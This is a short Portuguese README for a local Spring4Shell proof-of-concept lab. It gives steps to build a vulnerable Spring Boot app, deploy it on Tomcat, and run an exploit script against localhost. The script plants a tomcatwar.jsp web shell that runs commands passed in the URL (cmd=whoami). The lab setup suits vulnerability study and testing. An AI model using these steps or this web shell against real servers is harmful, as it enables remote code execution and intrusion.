Spring4Shell POC

Descrição da vulnerabilidade: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html

Construção do POC: https://github.com/BobTheShoplifter/Spring4Shell-POC

Passos para Compilar/Executar

Testado com JDK 11.0.14, Spring Boot 2.6.5 e Apache Tomcat 9.0.60

• Execute mvn clean package para compilar a aplicação
• Renomeie demo-0.0.1-SNAPSHOT.war para spring-poc.war e copie este arquivo .war para o diretório webapps do Tomcat
• Execute python exp.py --url http://localhost:8080/spring-poc/greeting
  • Se bem-sucedido, a mensagem 漏洞存在，shell地址为:http://localhost:8080/spring-poc/tomcatwar.jsp?pwd=j&cmd=whoami será registrada.
  • Você deve agora ver o arquivo tomcatwar.jsp escrito no diretório webapps/spring-poc do Tomcat. Este diretório pode ser alterado modificando exp.py.
    • 
  • Acesse a URL para ver o resultado do comando shell
    •